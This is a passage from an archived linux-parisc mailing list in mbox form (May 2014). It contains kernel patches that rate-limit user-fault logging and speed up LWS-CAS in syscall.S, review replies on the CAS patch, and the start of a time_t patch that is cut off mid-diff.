-#ifdef PRINT_USER_FAULTS
-		/* XXX for debugging only */
-		show_regs(regs);
-#endif
+
 		return;
 	}
 
@@ -321,14 +328,11 @@ static void handle_break(struct pt_regs *regs)
 			(tt == BUG_TRAP_TYPE_NONE) ? 9 : 0);
 	}
 
-#ifdef PRINT_USER_FAULTS
-	if (unlikely(iir != GDB_BREAK_INSN)) {
-		printk(KERN_DEBUG "break %d,%d: pid=%d command='%s'\n",
+	if (unlikely(iir != GDB_BREAK_INSN))
+		parisc_printk_ratelimited(0, regs,
+			KERN_DEBUG "break %d,%d: pid=%d command='%s'\n",
 			iir & 31, (iir>>13) & ((1<<13)-1),
 			task_pid_nr(current), current->comm);
-		show_regs(regs);
-	}
-#endif
 
 	/* send standard GDB signal */
 	handle_gdb_break(regs, TRAP_BRKPT);
@@ -758,11 +762,9 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 
 	default:
 		if (user_mode(regs)) {
-#ifdef PRINT_USER_FAULTS
-			printk(KERN_DEBUG "\nhandle_interruption() pid=%d command='%s'\n",
-			    task_pid_nr(current), current->comm);
-			show_regs(regs);
-#endif
+			parisc_printk_ratelimited(0, regs, KERN_DEBUG
+				"handle_interruption() pid=%d command='%s'\n",
+				task_pid_nr(current), current->comm);
 			/* SIGBUS, for lack of a better one. */
 			si.si_signo = SIGBUS;
 			si.si_code = BUS_OBJERR;
@@ -779,16 +781,10 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 
 	if (user_mode(regs)) {
 	    if ((fault_space >> SPACEID_SHIFT) != (regs->sr[7] >> SPACEID_SHIFT)) {
-#ifdef PRINT_USER_FAULTS
-		if (fault_space == 0)
-			printk(KERN_DEBUG "User Fault on Kernel Space ");
-		else
-			printk(KERN_DEBUG "User Fault (long pointer) (fault %d) ",
-			       code);
-		printk(KERN_CONT "pid=%d command='%s'\n",
-		       task_pid_nr(current), current->comm);
-		show_regs(regs);
-#endif
+		parisc_printk_ratelimited(0, regs, KERN_DEBUG
+				"User fault %d on space 0x%08lx, pid=%d command='%s'\n",
+				code, fault_space,
+				task_pid_nr(current), current->comm);
 		si.si_signo = SIGSEGV;
 		si.si_errno = 0;
 		si.si_code = SEGV_MAPERR;
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 7475507..a73e905 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -19,10 +19,6 @@
 #include <asm/uaccess.h>
 #include <asm/traps.h>
 
-#define PRINT_USER_FAULTS /* (turn this on if you want user faults to be */
-			 /*  dumped to the console via printk)          */
-
-
 /* Various important other fields */
 #define bit22set(x)		(x & 0x00000200)
 #define bits23_25set(x)		(x & 0x000001c0)
@@ -34,6 +30,8 @@
 
 DEFINE_PER_CPU(struct exception_data, exception_data);
 
+int show_unhandled_signals = 1;
+
 /*
  * parisc_acctyp(unsigned int inst) --
  *    Given a PA-RISC memory access instruction, determine if the
@@ -173,6 +171,32 @@ int fixup_exception(struct pt_regs *regs)
 	return 0;
 }
 
+/*
+ * Print out info about fatal segfaults, if the show_unhandled_signals
+ * sysctl is set:
+ */
+static inline void
+show_signal_msg(struct pt_regs *regs, unsigned long code,
+		unsigned long address, struct task_struct *tsk,
+		struct vm_area_struct *vma)
+{
+	if (!unhandled_signal(tsk, SIGSEGV))
+		return;
+
+	if (!printk_ratelimit())
+		return;
+
+	pr_debug("\n");
+	pr_debug("do_page_fault() command='%s' type=%lu address=0x%08lx",
+	    tsk->comm, code, address);
+	print_vma_addr(KERN_CONT " in ", regs->iaoq[0]);
+	if (vma)
+		pr_debug(" vm_start = 0x%08lx, vm_end = 0x%08lx\n",
+				vma->vm_start, vma->vm_end);
+
+	show_regs(regs);
+}
+
 void do_page_fault(struct pt_regs *regs, unsigned long code,
 			      unsigned long address)
 {
@@ -270,16 +294,8 @@ bad_area:
 	if (user_mode(regs)) {
 		struct siginfo si;
 
-#ifdef PRINT_USER_FAULTS
-		printk(KERN_DEBUG "\n");
-		printk(KERN_DEBUG "do_page_fault() pid=%d command='%s' type=%lu address=0x%08lx\n",
-		    task_pid_nr(tsk), tsk->comm, code, address);
-		if (vma) {
-			printk(KERN_DEBUG "vm_start = 0x%08lx, vm_end = 0x%08lx\n",
-					vma->vm_start, vma->vm_end);
-		}
-		show_regs(regs);
-#endif
+		show_signal_msg(regs, code, address, tsk, vma);
+
 		switch (code) {
 		case 15:	/* Data TLB miss fault/Data page fault */
 			/* send SIGSEGV when outside of vma */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Improve LWS-CAS performance
Date: Sun, 11 May 2014 18:40:50 -0400
Lines: 114
Approved: news@gmane.org
Message-ID: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-62-634056063"
X-Trace: ger.gmane.org 1399848081 16414 80.91.229.3 (11 May 2014 22:41:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 11 May 2014 22:41:21 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 12 00:41:13 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WjcQg-0003mV-92
	for glpp-linux-parisc@plane.gmane.org; Mon, 12 May 2014 00:41:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753795AbaEKWlJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 May 2014 18:41:09 -0400
Original-Received: from blu0-omc4-s37.blu0.hotmail.com ([65.55.111.176]:41920 "EHLO
	blu0-omc4-s37.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751058AbaEKWlJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 May 2014 18:41:09 -0400
Original-Received: from BLU0-SMTP17 ([65.55.111.136]) by blu0-omc4-s37.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 11 May 2014 15:41:07 -0700
X-TMN: [gGsvBrbZ5Br2AdFwtgNYS0yFpoW9bt0q]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.84.123]) by BLU0-SMTP17.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 11 May 2014 15:41:07 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 11 May 2014 22:41:07.0480 (UTC) FILETIME=[1942C180:01CF6D6A]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5781>

--Apple-Mail-62-634056063
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The attached change significantly improves the performance of the LWS- 
CAS code in syscall.S.
This allows a number of packages to build (e.g., zeromq3, gtest and  
libxs) that previously failed because
slow LWS-CAS performance under contention.  In particular, interrupts  
taken while the lock was taken
degraded performance significantly.

The change does the following:

1) Disables interrupts around the CAS operation,
2) Removes the lock code on UP systems where it is not needed, and
3) Changes the loads and stores to use the ordered completer, "o", on
PA 2.0.  "o" and "ma" with a zero offset are equivalent.  The latter  
is accepted
on both PA 1.X and 2.0.

The use of ordered loads and stores probably makes no difference on  
all existing
hardware, but it seemed pedantically correct.  In particular, the CAS  
operation must
complete before LDCW lock is released.  As written before, a processor  
could reorder
the operations.

I don't believe the period interrupts are disabled is long enough to  
significantly
increase interrupt latency.  For example, the TLB insert code is  
longer.  Worst
case is a memory fault in the CAS operation.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
---



--Apple-Mail-62-634056063
Content-Disposition: attachment; filename="syscall.S.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="syscall.S.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index a63bb179..801ba08 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -589,12 +589,16 @@ cas_nocontend:
 # endif
 /* ENABLE_LWS_DEBUG */
 
+	rsm	PSW_SM_I, %r0				/* Disable interrupts */
+#ifdef CONFIG_SMP
 	LDCW	0(%sr2,%r20), %r28			/* Try to acquire the lock */
 	cmpb,<>,n	%r0, %r28, cas_action		/* Did we get it? */
 cas_wouldblock:
 	ldo	2(%r0), %r28				/* 2nd case */
+	ssm	PSW_SM_I, %r0
 	b	lws_exit				/* Contended... */
 	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
+#endif
 
 	/*
 		prev = *addr;
@@ -619,15 +623,19 @@ cas_action:
 	stw	%r1, 4(%sr2,%r20)
 #endif
 	/* The load and store could fail */
-1:	ldw	0(%sr3,%r26), %r28
+1:	ldw,ma	0(%sr3,%r26), %r28
 	sub,<>	%r28, %r25, %r0
-2:	stw	%r24, 0(%sr3,%r26)
+2:	stw,ma	%r24, 0(%sr3,%r26)
+#ifdef CONFIG_SMP
 	/* Free lock */
-	stw	%r20, 0(%sr2,%r20)
+	stw,ma	%r20, 0(%sr2,%r20)
+#endif
 #if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
 #endif
+	/* Enable interrupts */
+	ssm	PSW_SM_I, %r0
 	/* Return to userspace, set no error */
 	b	lws_exit
 	copy	%r0, %r21
@@ -639,6 +647,7 @@ cas_action:
 #if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
 #endif
+	ssm	PSW_SM_I, %r0
 	b	lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
 	nop

--Apple-Mail-62-634056063
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-62-634056063--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve LWS-CAS performance
Date: Mon, 12 May 2014 08:11:37 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <5283741.MSteB7R1e7@caliban.sf-tec.de>
References: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2418099.r3XYjtJDLN"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1399875533 10375 80.91.229.3 (12 May 2014 06:18:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 12 May 2014 06:18:53 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 12 08:18:45 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WjjZU-0006rP-BG
	for glpp-linux-parisc@plane.gmane.org; Mon, 12 May 2014 08:18:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753503AbaELGS0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 12 May 2014 02:18:26 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:48631 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752559AbaELGSZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 12 May 2014 02:18:25 -0400
X-Greylist: delayed 401 seconds by postgrey-1.27 at vger.kernel.org; Mon, 12 May 2014 02:18:25 EDT
Original-Received: (qmail 32179 invoked from network); 12 May 2014 06:09:49 -0000
Original-Received: from dslb-088-071-168-053.pools.arcor-ip.net ([::ffff:88.71.168.53]:55313 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <dave.anglin@bell.net>; Mon, 12 May 2014 08:09:49 +0200
User-Agent: KMail/4.13 (Linux/3.14.2-1.g1474ea5-desktop; KDE/4.13.0; x86_64; ; )
In-Reply-To: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5782
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5782>


--nextPart2418099.r3XYjtJDLN
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Sonntag, 11. Mai 2014, 18:40:50 schrieb John David Anglin:
> The attached change significantly improves the performance of the LWS-
> CAS code in syscall.S.
> This allows a number of packages to build (e.g., zeromq3, gtest and
> libxs) that previously failed because
> slow LWS-CAS performance under contention.  In particular, interrupts
> taken while the lock was taken
> degraded performance significantly.

Sounds cool ;)

The label cas_wouldblock would now only be defined in SMP case, which looks 
odd. Since I can't find any references to it I think it should just be dropped.

Eike
--nextPart2418099.r3XYjtJDLN
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlNwZh4ACgkQXKSJPmm5/E5ZPACfcRAMYSbQDgMMRkoCgZE6JGQw
p4gAoIgX62S5pYHKVooOCQOb1is+lYlC
=RtOY
-----END PGP SIGNATURE-----

--nextPart2418099.r3XYjtJDLN--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve LWS-CAS performance
Date: Mon, 12 May 2014 10:33:46 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <BLU0-SMTP37135E46D3493CE552217097350@phx.gbl>
References: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl> <5283741.MSteB7R1e7@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1399905200 32082 80.91.229.3 (12 May 2014 14:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 12 May 2014 14:33:20 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 12 16:33:12 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WjrHv-0003Hj-EQ
	for glpp-linux-parisc@plane.gmane.org; Mon, 12 May 2014 16:33:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758430AbaELOdG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 12 May 2014 10:33:06 -0400
Original-Received: from blu0-omc3-s34.blu0.hotmail.com ([65.55.116.109]:29961 "EHLO
	blu0-omc3-s34.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758187AbaELOdG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 12 May 2014 10:33:06 -0400
Original-Received: from BLU0-SMTP37 ([65.55.116.72]) by blu0-omc3-s34.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 12 May 2014 07:33:05 -0700
X-TMN: [y9dbV/M4SkLkxrzJ1z16T86VQEi6/ZlU]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([70.50.48.29]) by BLU0-SMTP37.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 12 May 2014 07:33:04 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <5283741.MSteB7R1e7@caliban.sf-tec.de>
X-OriginalArrivalTime: 12 May 2014 14:33:04.0438 (UTC) FILETIME=[159EE560:01CF6DEF]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5783
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5783>

On 5/12/2014 2:11 AM, Rolf Eike Beer wrote:
> Am Sonntag, 11. Mai 2014, 18:40:50 schrieb John David Anglin:
>> The attached change significantly improves the performance of the LWS-
>> CAS code in syscall.S.
>> This allows a number of packages to build (e.g., zeromq3, gtest and
>> libxs) that previously failed because
>> slow LWS-CAS performance under contention.  In particular, interrupts
>> taken while the lock was taken
>> degraded performance significantly.
> Sounds cool ;)
>
> The label cas_wouldblock would now only be defined in SMP case, which looks
> odd. Since I can't find any references to it I think it should just be dropped.
I was aware when I sent the change that the label cas_wouldblock is not 
used.  Possibly, it should
change to a comment but maybe that's a separate cleanup.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: [PATCH] parisc: Improve LWS-CAS performance
Date: Mon, 12 May 2014 17:04:58 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <trinity-da579718-e250-4165-8589-2d57702fcd21-1399907098483@3capp-gmx-bs31>
References: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl>
 <5283741.MSteB7R1e7@caliban.sf-tec.de>,
 <BLU0-SMTP37135E46D3493CE552217097350@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1399907144 4746 80.91.229.3 (12 May 2014 15:05:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 12 May 2014 15:05:44 +0000 (UTC)
Cc: "Rolf Eike Beer" <eike-kernel@sf-tec.de>,
	"linux-parisc List" <linux-parisc@vger.kernel.org>,
	"James Bottomley" <James.Bottomley@hansenpartnership.com>
To: "John David Anglin" <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 12 17:05:37 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WjrnH-00085R-Cp
	for glpp-linux-parisc@plane.gmane.org; Mon, 12 May 2014 17:05:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758147AbaELPF3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 12 May 2014 11:05:29 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:65313 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758216AbaELPF1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 12 May 2014 11:05:27 -0400
Original-Received: from [155.56.68.216] by 3capp-gmx-bs31 with HTTP; Mon, 12 May 2014
 17:04:58 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <BLU0-SMTP37135E46D3493CE552217097350@phx.gbl>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:ezdsq9Pxdann9+JB4KxJwh6HFiV1ukvXj+hvUK0KYtP
 Q0ouvuLWVChrVXD4wd3uu0yyZ6klAOb4RFEkXtIrX4h+SnTYJB
 0HbaCkY0IMhL+c+t7HXWWZq64qhbrTnpBMDWjGZ0LZKIxxPVTT
 4AskmGCJSb5/IFDDpGIpd4FD5XuKpcMO/BRnACmWbJ2eYoB6hk
 NlbDsVgHmj0837YhbrLpY6UZpuiCX2Kx+ruf/PHFmIp5Blr9zN
 sGmha90/xdglzVUL89uBOf4UFEh3Bik3onJ73WiJxpbMHeOAtc 90pCdI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5784
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5784>

> On 5/12/2014 2:11 AM, Rolf Eike Beer wrote:
> > Am Sonntag, 11. Mai 2014, 18:40:50 schrieb John David Anglin:
> >> The attached change significantly improves the performance of the LWS-
> >> CAS code in syscall.S.
> >> This allows a number of packages to build (e.g., zeromq3, gtest and
> >> libxs) that previously failed because
> >> slow LWS-CAS performance under contention.  In particular, interrupts
> >> taken while the lock was taken
> >> degraded performance significantly.
> > Sounds cool ;)
> >
> > The label cas_wouldblock would now only be defined in SMP case, which looks
> > odd. Since I can't find any references to it I think it should just be dropped.

> I was aware when I sent the change that the label cas_wouldblock is not 
> used.  Possibly, it should change to a comment but maybe that's a separate cleanup.

I left it in when I pushed your patch to my git tree:
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=for-next

I think it makes sense to leave it in because it makes this piece clear.
In addition I added CC to push it backwards into kernels 3.13 and 3.14 too.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ley Foon Tan <lftan@altera.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 17/25] parisc: Add 32 bit time_t and clock_t
Date: Tue, 13 May 2014 17:06:06 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <1399971966-4598-1-git-send-email-lftan@altera.com>
References: <1399971456-3941-1-git-send-email-lftan@altera.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1399972007 11379 80.91.229.3 (13 May 2014 09:06:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 May 2014 09:06:47 +0000 (UTC)
Cc: Ley Foon Tan <lftan@altera.com>, <lftan.linux@gmail.com>,
	<cltang@codesourcery.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <linux-arch@vger.kernel.org>, <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 13 11:06:39 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Wk8fV-0000eO-3K
	for glk-linux-kernel-3@plane.gmane.org; Tue, 13 May 2014 11:06:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932677AbaEMJG0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 13 May 2014 05:06:26 -0400
Original-Received: from mail-by2on0123.outbound.protection.outlook.com ([207.46.100.123]:45785
	"EHLO na01-by2-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752759AbaEMJGV (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 13 May 2014 05:06:21 -0400
Original-Received: from BL2FFO11FD030.protection.gbl (10.173.160.31) by
 BL2FFO11HUB022.protection.gbl (10.173.161.46) with Microsoft SMTP Server
 (TLS) id 15.0.939.9; Tue, 13 May 2014 09:06:19 +0000
Original-Received: from SJ-ITEXEDGE02.altera.priv.altera.com (66.35.236.232) by
 BL2FFO11FD030.mail.protection.outlook.com (10.173.161.40) with Microsoft SMTP
 Server (TLS) id 15.0.939.9 via Frontend Transport; Tue, 13 May 2014 09:06:18
 +0000
Original-Received: from sj-mail01.altera.com (137.57.1.6) by
 SJ-ITEXEDGE02.altera.priv.altera.com (66.35.236.232) with Microsoft SMTP
 Server id 8.3.348.2; Tue, 13 May 2014 01:52:42 -0700
Original-Received: from leyfoon-vm (leyfoon-vm.altera.com [137.57.103.35])	by
 sj-mail01.altera.com (8.13.7+Sun/8.13.7) with SMTP id s4D96DA2004428;	Tue, 13
 May 2014 02:06:14 -0700 (PDT)
Original-Received: by leyfoon-vm (sSMTP sendmail emulation); Tue, 13 May 2014 17:06:12
 +0800
X-Mailer: git-send-email 1.8.3.2
In-Reply-To: <1399971456-3941-1-git-send-email-lftan@altera.com>
X-EOPAttributedMessage: 0
X-Forefront-Antispam-Report: CIP:66.35.236.232;CTRY:US;IPV:NLI;IPV:NLI;EFV:NLI;SFV:NSPM;SFS:(10019001)(6009001)(199002)(189002)(62966002)(74662001)(6806004)(46102001)(44976005)(19580395003)(81342001)(19580405001)(83322001)(31966008)(50226001)(4396001)(80022001)(74502001)(81542001)(102836001)(77156001)(92726001)(33646001)(20776003)(36756003)(47776003)(50466002)(86362001)(76482001)(87936001)(50986999)(79102001)(92566001)(83072002)(89996001)(2009001)(48376002)(87286001)(84676001)(77982001)(76176999)(85852003)(16796002);DIR:OUT;SFP:1102;SCL:1;SRVR:BL2FFO11HUB022;H:SJ-ITEXEDGE02.altera.priv.altera.com;FPR:;MLV:sfv;PTR:InfoDomainNonexistent;A:1;MX:1;LANG:;
X-OriginatorOrg: altera.onmicrosoft.com
X-Forefront-PRVS: 0210479ED8
Received-SPF: SoftFail (: domain of transitioning altera.com discourages use
 of 66.35.236.232 as permitted sender)
Authentication-Results: spf=softfail (sender IP is 66.35.236.232)
 smtp.mailfrom=lftan@altera.com; 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1702241 gmane.linux.kernel.cross-arch:22886 gmane.linux.ports.parisc:5786
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1702241>

Override time_t and clock_t in include/uapi/asm-generic.

Signed-off-by: Ley Foon Tan <lftan@altera.com>
---
 arch/parisc/include/uapi/asm/posix_types.h | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/arch/parisc/include/uapi/asm/posix_types.h b/arch/parisc/include/uapi/asm/posix_types.h
index b934425..21fcf1c 100644
--- a/arch/parisc/include/uapi/asm/posix_types.h
+++ b/arch/parisc/include/uapi/asm/posix_types.h
@@ -19,6 +19,14 @@ typedef int			__kernel_suseconds_t;
 typedef long long		__kernel_off64_t;
